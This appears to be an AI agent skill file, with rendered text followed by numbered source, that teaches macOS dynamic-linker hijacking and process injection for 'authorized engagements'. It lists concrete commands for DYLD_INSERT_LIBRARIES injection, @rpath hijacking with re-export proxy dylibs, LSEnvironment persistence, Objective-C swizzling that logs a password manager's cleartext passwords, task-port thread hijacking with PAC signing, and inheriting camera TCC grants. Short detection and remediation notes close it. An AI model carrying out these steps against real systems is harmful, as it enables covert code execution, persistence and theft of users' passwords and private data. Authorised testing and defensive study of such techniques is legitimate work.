Exploiting macOS Dyld Hijacking & Process Injection
When to Use
- You want to run code inside another process on macOS to steal secrets (passwords, messages), inherit its TCC/entitlements, or hook its functions.
- A target binary loads libraries via
@rpath/DYLD_INSERT_LIBRARIES without library validation, or you hold a task port (task_for_pid) for a get-task-allow process.
- You need to choose between load-time injection (dyld) and runtime injection (thread hijack / fishhook) based on the target's protections.
Critical: Techniques Most Often Missed
DYLD_INSERT_LIBRARIES — the simplest primitive; a dylib __attribute__((constructor)) runs before main. Blocked on hardened/platform binaries, so check restrictions first.# gcc -dynamiclib -o inject.dylib inject.c (constructor runs execv("/bin/bash",0) etc.)
DYLD_INSERT_LIBRARIES=inject.dylib ./target
- How to CONFIRM:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' shows your constructor logging when loaded.
- @rpath / missing-dylib hijack — find a dylib the app expects but doesn't ship, and that it loads without checking the signature (
com.apple.security.cs.disable-library-validation).codesign -dv --entitlements :- /Applications/VulnDyld.app/Contents/Resources/lib/binary # disable-library-validation?
otool -l <binary> | grep LC_RPATH -A2 # @rpath search paths
otool -l <binary> | grep "@rpath" -A3 # expected libs + required versions
find /Applications/VulnDyld.app -name lib.dylib # which @rpath path is missing
- How to CONFIRM: one
@rpath candidate path doesn't exist on disk; dropping your dylib there and running the binary logs your constructor.
- Re-export proxy dylib — keep the app working by re-exporting the legit library's symbols from your malicious one, matching
current/compatibility versions.gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m \
-Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o /tmp/lib.dylib
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
cp /tmp/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
- How to CONFIRM:
otool -l /tmp/lib.dylib | grep REEXPORT -A2 shows the absolute re-export path; the app runs normally and your code executes.
- fishhook symbol rebinding (runtime) — already inside a process, hook an imported C function by rewriting its import slot; only affects calls that go through an import pointer.
- How to CONFIRM: hooked
close()/etc. logs each call. NOTE: on arm64e targets check __AUTH_CONST.__auth_got and temporarily make __DATA_CONST writable.
- Thread hijack via task port — with a task port you can't
thread_create_running (mitigated); instead task_threads() → thread_suspend() → set x0..x7/pc → resume. On arm64e you must sign pc with PAC (ptrauth_sign_unauthenticated) or chain existing gadgets.
- How to CONFIRM: target executes your function (e.g., via
threadexec); EndpointSecurity emits ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE.
Workflow
Step 1: Enumerate (target protections)
sw_vers; uname -m # OS + arch (arm64e => PAC)
codesign -dvv --entitlements :- /path/target 2>&1 | \
grep -E "Authority|TeamIdentifier|library-validation|get-task-allow|allow-dyld|runtime"
otool -hv /path/target # check for hardened-runtime/PIE flags
otool -l /path/target | grep -E "LC_RPATH|@rpath|@loader_path|@executable_path" -A2
Step 2: Identify the primitive
- Load-time, env: target allows
DYLD_* (no hardened runtime / has allow-dyld-environment-variables, not a platform binary).
- Load-time, disk: a missing/
@rpath dylib + disable-library-validation → hijack on disk (survives relaunch; great for TCC theft).
- Runtime, in-proc: you already execute inside the process → interpose (
__DATA,__interpose), dyld_dynamic_interpose, fishhook, or ObjC swizzling.
- Runtime, remote: you hold the task port of a
get-task-allow/unprotected process → thread hijack.
Step 3: Exploit (concrete commands)
# (a) Interpose a libc function via __interpose section, injected with DYLD_INSERT_LIBRARIES
# gcc -dynamiclib interpose.c -o interpose.dylib (DYLD_INTERPOSE(my_printf, printf))
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
DYLD_PRINT_INTERPOSING=1 DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello # debug interposing
# (b) ObjC method_setImplementation to sniff a secret (store original first)
# gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
# constructor: real = method_setImplementation(class_getInstanceMethod(cls,@selector(setPassword:keyFileURL:)), fake)
log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
# (c) Persisting dylib injection in an app bundle via Info.plist LSEnvironment, then re-register
# <key>LSEnvironment</key><dict><key>DYLD_INSERT_LIBRARIES</key><string>/Applications/App.app/Contents/malicious.dylib</string></dict>
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
# (d) Inspect a remote process before thread hijack
lldb -p <pid> # confirm get-task-allow / debuggability
Step 4: Persist / escalate / pivot
- Inherit TCC/entitlements: code running inside a TCC-granted or entitled app gains its camera/FDA/etc. access with no prompt (e.g., the CVE-2023-26818 Telegram camera-TCC bypass via dylib hijack).
- Persist the hijack: a dylib dropped at the hijacked
@rpath location reloads every launch; bundle LSEnvironment + lsregister survives too. NOTE: on newer macOS, stripping a previously-run app's signature stops it launching, so prefer hijack over re-sign.
- Deepen with remote R/W: after thread hijack, build read/write primitives (
property_getName for read, _xpc_int64_set_value for write), set up Mach-port channels, and xpc_shmem shared memory — wrapped by threadexec for full control, then transfer Mach ports / fileports to pivot.
Key Concepts
| Concept |
Description |
| dyld |
The dynamic linker; resolves @rpath/@loader_path/@executable_path and honors DYLD_* env vars (restricted on hardened/platform binaries). |
| DYLD_INSERT_LIBRARIES |
Loads attacker dylib before main; constructor runs first. Blocked by hardened runtime / library validation / platform-binary status. |
| @rpath hijack |
App loads a dylib from a search path; if a higher-priority path is missing/writable and signature isn't checked, swap it. |
| Re-export proxy |
-reexport_library + install_name_tool -change so the malicious dylib forwards real symbols and the app still works. |
| Interposing |
__DATA,__interpose tuples (or dyld_dynamic_interpose) replace functions between the process and loaded libs (not the shared cache). |
| fishhook |
Runtime symbol rebinding of imported functions by rewriting lazy/non-lazy pointer slots; needs __DATA_CONST writable, PAC-aware on arm64e. |
| ObjC swizzling |
method_exchangeImplementations / method_setImplementation swap selector IMPs to intercept Objective-C calls. |
| Task port / thread hijack |
task_for_pid → task_threads → suspend → set registers/pc → resume; thread_set_special_port/mach_reply_port to build Mach-port channels. |
| PAC (arm64e) |
Pointer Authentication signs return addresses/pointers; jumping to attacker memory needs ptrauth_sign_unauthenticated or gadget reuse. |
Tools & Systems
| Tool |
Purpose |
| otool |
Dump load commands: LC_RPATH, @rpath deps + required versions, LC_UUID, REEXPORT. |
| codesign |
Read entitlements (disable-library-validation, get-task-allow), Team ID, hardened runtime flags. |
| install_name_tool |
Rewrite @rpath to absolute paths in the proxy dylib. |
| gcc / clang |
Build injectable/interpose/re-export dylibs and ObjC swizzling payloads. |
| lldb |
Attach to and inspect debuggable/get-task-allow processes. |
| log stream |
Observe constructor loads, interposing, and exfiltrated data in the unified log. |
| threadexec / task_vaccine |
Reference implementations of task-port thread hijacking (PAC-aware on Ventura/Sonoma). |
| EndpointSecurity / osquery |
Detection: AUTH_GET_TASK, NOTIFY_REMOTE_THREAD_CREATE, NOTIFY_THREAD_SET_STATE; es_process_events REMOTE_THREAD_CREATE. |
Common Scenarios
Scenario 1: @rpath hijack to bypass camera TCC
A Developer-ID app with disable-library-validation expects @rpath/lib.dylib at a path that doesn't exist. The tester drops a re-export proxy dylib there; on launch it runs inside the app and uses the app's camera TCC grant (CVE-2023-26818 pattern).
Scenario 2: ObjC swizzle to sniff a password manager
The tester injects sniff.dylib via the app's Info.plist LSEnvironment and lsregister, swizzling setPassword:keyFileURL: with method_setImplementation, logging cleartext passwords to the unified log while calling the original method so nothing breaks.
Scenario 3: Task-port thread hijack with PAC
Holding the task port of a get-task-allow process on Apple Silicon, the tester suspends a thread, sets x0..x7 and a PAC-signed pc, and resumes — building read/write and Mach-port channels via threadexec for full remote control.
Output Format
## macOS Process Injection Finding
**Target**: macOS 14.4 (arm64e) ; App: com.vendor.app (Developer ID, disable-library-validation)
**Primitive**: @rpath dylib hijack with re-export proxy
**Severity**: High
**Finding**: App loads attacker dylib from a missing @rpath path without signature validation
**Evidence**:
- `codesign -d --entitlements :- App.app` -> com.apple.security.cs.disable-library-validation
- `otool -l binary | grep @rpath` -> expects @rpath/lib.dylib ; only lib2/lib.dylib exists
- dropped proxy -> log shows "[+] dylib hijacked"; app runs normally (re-export intact)
**Impact**: Code execution inside the app inheriting its TCC/entitlements (e.g., camera, FDA), enabling data theft.
**Recommendation**:
1. Enable Hardened Runtime + Library Validation; remove `disable-library-validation`/`allow-dyld-environment-variables`.
2. Load dylibs from signed absolute paths; verify loaded-library Team IDs.
3. Ship without `com.apple.security.get-task-allow` to block non-root task-port access.
4. Deploy EndpointSecurity monitoring for GET_TASK / REMOTE_THREAD_CREATE / THREAD_SET_STATE.
1---2name: exploiting-macos-dyld-hijacking-and-process-injection3description: Exploiting macOS dynamic-linker and process-injection primitives during authorized engagements - DYLD_INSERT_LIBRARIES injection, @rpath/missing-dylib hijacking with re-export proxy libraries, dyld interposing and fishhook symbol rebinding, Objective-C method swizzling, and Mach task-port thread hijacking (task_for_pid) including arm64e PAC handling - using otool, codesign, install_name_tool, gcc/clang, and lldb, with EndpointSecurity detection notes.4license: Apache-2.05---6
7# Exploiting macOS Dyld Hijacking & Process Injection
8
9## When to Use
10- You want to **run code inside another process** on macOS to steal secrets (passwords, messages), inherit its TCC/entitlements, or hook its functions.
11- A target binary loads libraries via **`@rpath`/`DYLD_INSERT_LIBRARIES`** without library validation, or you hold a **task port** (`task_for_pid`) for a `get-task-allow` process.
12- You need to choose between **load-time injection** (dyld) and **runtime injection** (thread hijack / fishhook) based on the target's protections.
13
14## Critical: Techniques Most Often Missed
15- **`DYLD_INSERT_LIBRARIES`** — the simplest primitive; a dylib `__attribute__((constructor))` runs before `main`. Blocked on hardened/platform binaries, so check restrictions first.
16 ```bash
17 # gcc -dynamiclib -o inject.dylib inject.c (constructor runs execv("/bin/bash",0) etc.)
18 DYLD_INSERT_LIBRARIES=inject.dylib ./target
19 ```
20 - How to CONFIRM: `sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'` shows your constructor logging when loaded.
21- **@rpath / missing-dylib hijack** — find a dylib the app expects but doesn't ship, and that it loads **without checking the signature** (`com.apple.security.cs.disable-library-validation`).
22 ```bash
23 codesign -dv --entitlements :- /Applications/VulnDyld.app/Contents/Resources/lib/binary # disable-library-validation?
24 otool -l <binary> | grep LC_RPATH -A2 # @rpath search paths
25 otool -l <binary> | grep "@rpath" -A3 # expected libs + required versions
26 find /Applications/VulnDyld.app -name lib.dylib # which @rpath path is missing
27 ```
28 - How to CONFIRM: one `@rpath` candidate path doesn't exist on disk; dropping your dylib there and running the binary logs your constructor.
29- **Re-export proxy dylib** — keep the app working by re-exporting the legit library's symbols from your malicious one, matching `current`/`compatibility` versions.
30 ```bash
31 gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m \
32 -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o /tmp/lib.dylib
33 install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
34 cp /tmp/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
35 ```
36 - How to CONFIRM: `otool -l /tmp/lib.dylib | grep REEXPORT -A2` shows the absolute re-export path; the app runs normally **and** your code executes.
37- **fishhook symbol rebinding (runtime)** — already inside a process, hook an **imported** C function by rewriting its import slot; only affects calls that go through an import pointer.
38 - How to CONFIRM: hooked `close()`/etc. logs each call. NOTE: on `arm64e` targets check `__AUTH_CONST.__auth_got` and temporarily make `__DATA_CONST` writable.
39- **Thread hijack via task port** — with a task port you can't `thread_create_running` (mitigated); instead `task_threads()` → `thread_suspend()` → set `x0..x7`/`pc` → resume. On arm64e you must **sign `pc`** with PAC (`ptrauth_sign_unauthenticated`) or chain existing gadgets.
40 - How to CONFIRM: target executes your function (e.g., via `threadexec`); EndpointSecurity emits `ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE`.
41
42## Workflow
43
44### Step 1: Enumerate (target protections)
45```bash
46sw_vers; uname -m # OS + arch (arm64e => PAC)
47codesign -dvv --entitlements :- /path/target 2>&1 | \
48 grep -E "Authority|TeamIdentifier|library-validation|get-task-allow|allow-dyld|runtime"
49otool -hv /path/target # check for hardened-runtime/PIE flags
50otool -l /path/target | grep -E "LC_RPATH|@rpath|@loader_path|@executable_path" -A2
51```
52
53### Step 2: Identify the primitive
54- **Load-time, env**: target allows `DYLD_*` (no hardened runtime / has `allow-dyld-environment-variables`, not a platform binary).
55- **Load-time, disk**: a missing/`@rpath` dylib + `disable-library-validation` → hijack on disk (survives relaunch; great for TCC theft).
56- **Runtime, in-proc**: you already execute inside the process → interpose (`__DATA,__interpose`), `dyld_dynamic_interpose`, fishhook, or ObjC swizzling.
57- **Runtime, remote**: you hold the **task port** of a `get-task-allow`/unprotected process → thread hijack.
58
59### Step 3: Exploit (concrete commands)
60```bash
61# (a) Interpose a libc function via __interpose section, injected with DYLD_INSERT_LIBRARIES
62# gcc -dynamiclib interpose.c -o interpose.dylib (DYLD_INTERPOSE(my_printf, printf))
63DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
64DYLD_PRINT_INTERPOSING=1 DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello # debug interposing
65
66# (b) ObjC method_setImplementation to sniff a secret (store original first)
67# gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
68# constructor: real = method_setImplementation(class_getInstanceMethod(cls,@selector(setPassword:keyFileURL:)), fake)
69log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
70
71# (c) Persisting dylib injection in an app bundle via Info.plist LSEnvironment, then re-register
72# <key>LSEnvironment</key><dict><key>DYLD_INSERT_LIBRARIES</key><string>/Applications/App.app/Contents/malicious.dylib</string></dict>
73/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
74
75# (d) Inspect a remote process before thread hijack
76lldb -p <pid> # confirm get-task-allow / debuggability
77```
78
79### Step 4: Persist / escalate / pivot
80- **Inherit TCC/entitlements**: code running inside a TCC-granted or entitled app gains its camera/FDA/etc. access with no prompt (e.g., the CVE-2023-26818 Telegram camera-TCC bypass via dylib hijack).
81- **Persist the hijack**: a dylib dropped at the hijacked `@rpath` location reloads every launch; bundle `LSEnvironment` + `lsregister` survives too. NOTE: on newer macOS, **stripping a previously-run app's signature stops it launching**, so prefer hijack over re-sign.
82- **Deepen with remote R/W**: after thread hijack, build read/write primitives (`property_getName` for read, `_xpc_int64_set_value` for write), set up Mach-port channels, and `xpc_shmem` shared memory — wrapped by `threadexec` for full control, then transfer Mach ports / fileports to pivot.
83
84## Key Concepts
85| Concept | Description |
86|---------|-------------|
87| **dyld** | The dynamic linker; resolves `@rpath`/`@loader_path`/`@executable_path` and honors `DYLD_*` env vars (restricted on hardened/platform binaries). |
88| **DYLD_INSERT_LIBRARIES** | Loads attacker dylib before main; constructor runs first. Blocked by hardened runtime / library validation / platform-binary status. |
89| **@rpath hijack** | App loads a dylib from a search path; if a higher-priority path is missing/writable and signature isn't checked, swap it. |
90| **Re-export proxy** | `-reexport_library` + `install_name_tool -change` so the malicious dylib forwards real symbols and the app still works. |
91| **Interposing** | `__DATA,__interpose` tuples (or `dyld_dynamic_interpose`) replace functions between the process and loaded libs (not the shared cache). |
92| **fishhook** | Runtime symbol rebinding of **imported** functions by rewriting lazy/non-lazy pointer slots; needs `__DATA_CONST` writable, PAC-aware on arm64e. |
93| **ObjC swizzling** | `method_exchangeImplementations` / `method_setImplementation` swap selector IMPs to intercept Objective-C calls. |
94| **Task port / thread hijack** | `task_for_pid` → `task_threads` → suspend → set registers/`pc` → resume; `thread_set_special_port`/`mach_reply_port` to build Mach-port channels. |
95| **PAC (arm64e)** | Pointer Authentication signs return addresses/pointers; jumping to attacker memory needs `ptrauth_sign_unauthenticated` or gadget reuse. |
96
97## Tools & Systems
98| Tool | Purpose |
99|------|---------|
100| **otool** | Dump load commands: `LC_RPATH`, `@rpath` deps + required versions, `LC_UUID`, `REEXPORT`. |
101| **codesign** | Read entitlements (`disable-library-validation`, `get-task-allow`), Team ID, hardened runtime flags. |
102| **install_name_tool** | Rewrite `@rpath` to absolute paths in the proxy dylib. |
103| **gcc / clang** | Build injectable/interpose/re-export dylibs and ObjC swizzling payloads. |
104| **lldb** | Attach to and inspect debuggable/`get-task-allow` processes. |
105| **log stream** | Observe constructor loads, interposing, and exfiltrated data in the unified log. |
106| **threadexec / task_vaccine** | Reference implementations of task-port thread hijacking (PAC-aware on Ventura/Sonoma). |
107| **EndpointSecurity / osquery** | Detection: `AUTH_GET_TASK`, `NOTIFY_REMOTE_THREAD_CREATE`, `NOTIFY_THREAD_SET_STATE`; `es_process_events` REMOTE_THREAD_CREATE. |
108
109## Common Scenarios
110### Scenario 1: @rpath hijack to bypass camera TCC
111A Developer-ID app with `disable-library-validation` expects `@rpath/lib.dylib` at a path that doesn't exist. The tester drops a re-export proxy dylib there; on launch it runs inside the app and uses the app's camera TCC grant (CVE-2023-26818 pattern).
112
113### Scenario 2: ObjC swizzle to sniff a password manager
114The tester injects `sniff.dylib` via the app's `Info.plist` `LSEnvironment` and `lsregister`, swizzling `setPassword:keyFileURL:` with `method_setImplementation`, logging cleartext passwords to the unified log while calling the original method so nothing breaks.
115
116### Scenario 3: Task-port thread hijack with PAC
117Holding the task port of a `get-task-allow` process on Apple Silicon, the tester suspends a thread, sets `x0..x7` and a PAC-signed `pc`, and resumes — building read/write and Mach-port channels via `threadexec` for full remote control.
118
119## Output Format
120```
121## macOS Process Injection Finding
122
123**Target**: macOS 14.4 (arm64e) ; App: com.vendor.app (Developer ID, disable-library-validation)
124**Primitive**: @rpath dylib hijack with re-export proxy
125**Severity**: High
126**Finding**: App loads attacker dylib from a missing @rpath path without signature validation
127**Evidence**:
128 - `codesign -d --entitlements :- App.app` -> com.apple.security.cs.disable-library-validation
129 - `otool -l binary | grep @rpath` -> expects @rpath/lib.dylib ; only lib2/lib.dylib exists
130 - dropped proxy -> log shows "[+] dylib hijacked"; app runs normally (re-export intact)
131**Impact**: Code execution inside the app inheriting its TCC/entitlements (e.g., camera, FDA), enabling data theft.
132**Recommendation**:
133 1. Enable Hardened Runtime + Library Validation; remove `disable-library-validation`/`allow-dyld-environment-variables`.
134 2. Load dylibs from signed absolute paths; verify loaded-library Team IDs.
135 3. Ship without `com.apple.security.get-task-allow` to block non-root task-port access.
136 4. Deploy EndpointSecurity monitoring for GET_TASK / REMOTE_THREAD_CREATE / THREAD_SET_STATE.
137```